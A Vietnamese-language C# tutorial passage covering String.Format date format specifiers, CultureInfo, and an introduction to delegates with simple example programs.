| dddd | Full Day Name | Monday |
| hh | 2 digit hour | 12 |
| HH | 2 digit hour (24 hour) | 12 |
| mm | 2 digit minute | 30 |
| MM | Month | 06 |
| MMM | Short Month name | Jun |
| MMMM | Month name | June |
| ss | seconds | 59 |
| tt | AM/PM | PM |
| yy | 2 digit year | 70 |
| yyyy | 4 digit year | 1970 |
| : | seperator, e.g. {0:hh:mm:ss} | 12:30:59 |
| / | seperator, e.g. {0:dd/MM/yyyy} | 08/06/1970 |
trên đây là một số các định dạng thông thường mà chúng ta hay dùng.
Thông Tin Culture
string.format cũng cung cấp 1 số hàm mà chấp nhận các tham số CultureInfo, như là IFormatProvider. Điều này rất quan trọng khi bạn cố gắng viết các đoạn mã linh động và mang tính chất hình thái. Ví dụ, tên của tháng sẽ thay đổi theo định dạng ngôn ngữ và văn hóa đang chạy trên máy của chúng ta. Thật là đơn giản khi chỉ cần dùng câu lệnh String.Format, và các hàm Overloaded khác. Nếu bạn không cần chỉ rõ 1 culture, bạn có thể dùng System.Globalization.CultureInfo.InvariantCulture, nó sẽ đặt định dạng của bạn theo kiểu English, khác với culture đang dùng hiện tại.
Chú thích Xml C#
Delegate và Event trong C#
Mọi người học lập trình C# chắc đã biết đến lập trình điều kiển sự kiện. C# thêm vào thế giới lập trình điều kiển sự kiện thông qua events và delegate. Bài viết này sẽ trình bày chính xác về cách định nghĩa và những gì xảy ra khi bạn thêm vào trình đk sự kiện cho các UI Control. Ví dụ như các sự kiện được thêm vào Button khi nó được cài đặt v.v… Giúp bạn hiểu hơn về cách điều kiển sự kiện tự nhiên bằng cách sử dụng multicast delegate.
Delegate
Delegate được hiểu tương tự như là con trỏ hàm trong C và C++. Sử dụng Delegate cho phép lập trình viên tóm lượt 1 tham chiếu tới 1 hàm trong đối tượng Delegate.
Gọi hàm trưc tiếp, ko dùng Delegate
using System;
namespace NoDelegate
{
public class MyClass
{
public void Process()
{
Console.WriteLine("Process() begin");
Console.WriteLine("Process() end");
}
}
public class Test
{
static void Main(string[] args)
{
MyClass myClass = new MyClass();
myClass.Process();
}
}
}
Đây là 1 đoạn code đơn giản và dễ hiểu được dùng trong hầu hết các trường hợp. Tuy nhiên , thình thoảng chúng ta ko muốn gọi hàm trực tiếp - ta muốn có thể bỏ qua nó tới 1 chỗ khác sau đó ta mới gọi nó. Cái này đặc biệt hữu ích trong hệ thống điều kiển sự kiện ví dụ như giao diện người dùng đồ họa, khi chúng ta muốn 1 đoạn code được kích hoạt khi user click vào 1 button, hoặc khi ta muốn ghi lại 1 số thông tin mà ko xác định được khi nào nó được ghi.
Một Delegate đơn giản
Một tính chất hữu ích và thú vị của Delegate là nó ko biết hoặc không quan tâm đến lớp đối tượng mà nó chỉ đến.
Khai báo 1 delegate:
delegate result-type identifier ([parameters]);
* result-type: Kiểu trả về.
* identifier: Tên.
* parameters: Tham biến/ có thể có hoặc không.
Ví dụ:
// Khai báo 1 delegate không có giá trị trả về public delegate void SimpleDelegate ();
// Khai báo một delegate có trả về giá trị kiểu int public delegate int ButtonClickHandler (object obj1, object obj2);
Delegate sẽ cho phép ta xác định hàm nào mà ta gọi giống như là ko có xát định hàm nào để gọi. (Đoạn này hơi khó hiều, đọc vd các bạn sẽ hiểu hơn). Khai báo 1 delegate giống như khai báo một hàm.
3 bước để định nghĩa và sử dụng delegate:
* Declaration – khai báo
* Instantiation – Thuyết minh, hiện thực
* Invocation – Gọi, cầu khẩn
using System;
namespace BasicDelegate
{
// Khai báo
public delegate void SimpleDelegate();
class TestDelegate
{
public static void MyFunc()
{
Console.WriteLine("I was called by delegate …");
}
public static void Main()
{
// Khởi tạo delegate
SimpleDelegate simpleDelegate = new SimpleDelegate(MyFunc);
// gọi delegate
simpleDelegate();
}
}
}
Kết quả:
# csc SimpleDelegate1.cs
# SimpleDelegate1.exe
I was called by delegate …
